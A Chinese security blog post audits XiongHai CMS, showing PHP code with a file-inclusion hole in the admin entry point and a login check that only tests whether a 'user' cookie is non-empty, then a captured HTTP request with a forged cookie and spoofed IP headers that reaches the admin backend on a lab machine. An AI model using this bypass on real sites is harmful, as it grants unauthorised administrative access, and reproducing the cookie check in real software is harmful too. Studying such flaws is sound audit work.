熊海CMS Cookie脆弱

Cookie脆弱

文件分析,首先我们进入的是admin文件下的主文件,index.php

php 复制代码
<?php
//单一入口模式
error_reporting(0); //关闭错误显示
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判断为空或者等于index
include('files/'.$action.'.php'); //载入相应文件
?>

通过r参数接收文件,使用三元运算符判断文件是否为空,如果为空进入index.php,不为空则进入我们r传入的文件名的文件,存在着文件包含漏洞

files/下面的文件,那我们去files文件下进行查看,先看里面的index.php C:\phpStudy\PHPTutorial\WWW\xhcms\admin\files,checklogin.php是一个检查文件的php

php 复制代码
<?php
require '../inc/checklogin.php';
require '../inc/conn.php';
$indexopen='class="open"';
?>

C:\phpStudy\PHPTutorial\WWW\xhcms\inc·文件下,接收了user用户的cookie,并没有对它进行检验,我们可以通过user不为空进行绕过Cookie:user=121312312

php 复制代码
<?php
$user=$_COOKIE['user'];
if ($user==""){
header("Location: ?r=login");
exit;	
}
?>

接下来我们来进行实践,访问http://192.168.118.140/xhcms/admin/?r=login,进行抓包,修改Cookie为任意值,获得数据包

复制代码
GET /xhcms/admin/?r=index HTTP/1.1
Host: 192.168.118.140
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20120101 Firefox/33.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.118.140/xhcms/admin/?r=login
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: user=é¹
13213123
x-forwarded-for: 8.8.8.8
x-originating-ip: 8.8.8.8
x-remote-ip: 8.8.8.8
x-remote-addr: 8.8.8.8
Connection: keep-alive

放包直接进入后台

相关推荐
花青泽2 小时前
子域名基础05_Web与网络层
web安全
花青泽2 小时前
子域名挖掘全局流程
web安全
sogw-三叶草️5 小时前
HITCON CTF 2014 — stkof · Unsafe Unlink
网络·安全·web安全·pwn·堆·二进制安全·堆漏洞
Seraphina3616 小时前
SQLI-labs(一)黑盒全流程
sql·安全·web安全
花青泽1 天前
Web安全信息收集--总
安全·web安全
花青泽1 天前
子域名基础01_地址与域名基础
web安全
花青泽1 天前
子域名基础02_DNS解析流程_简单版
web安全
花青泽1 天前
子域名基础03_DNS解析流程_详细版
web安全
剑胆凌锋2 天前
等级保护测评工程师的困境
网络·安全·web安全·网络安全·职场和发展
Bruce_Liuxiaowei2 天前
2026年10月第1周网络安全形势周报
安全·web安全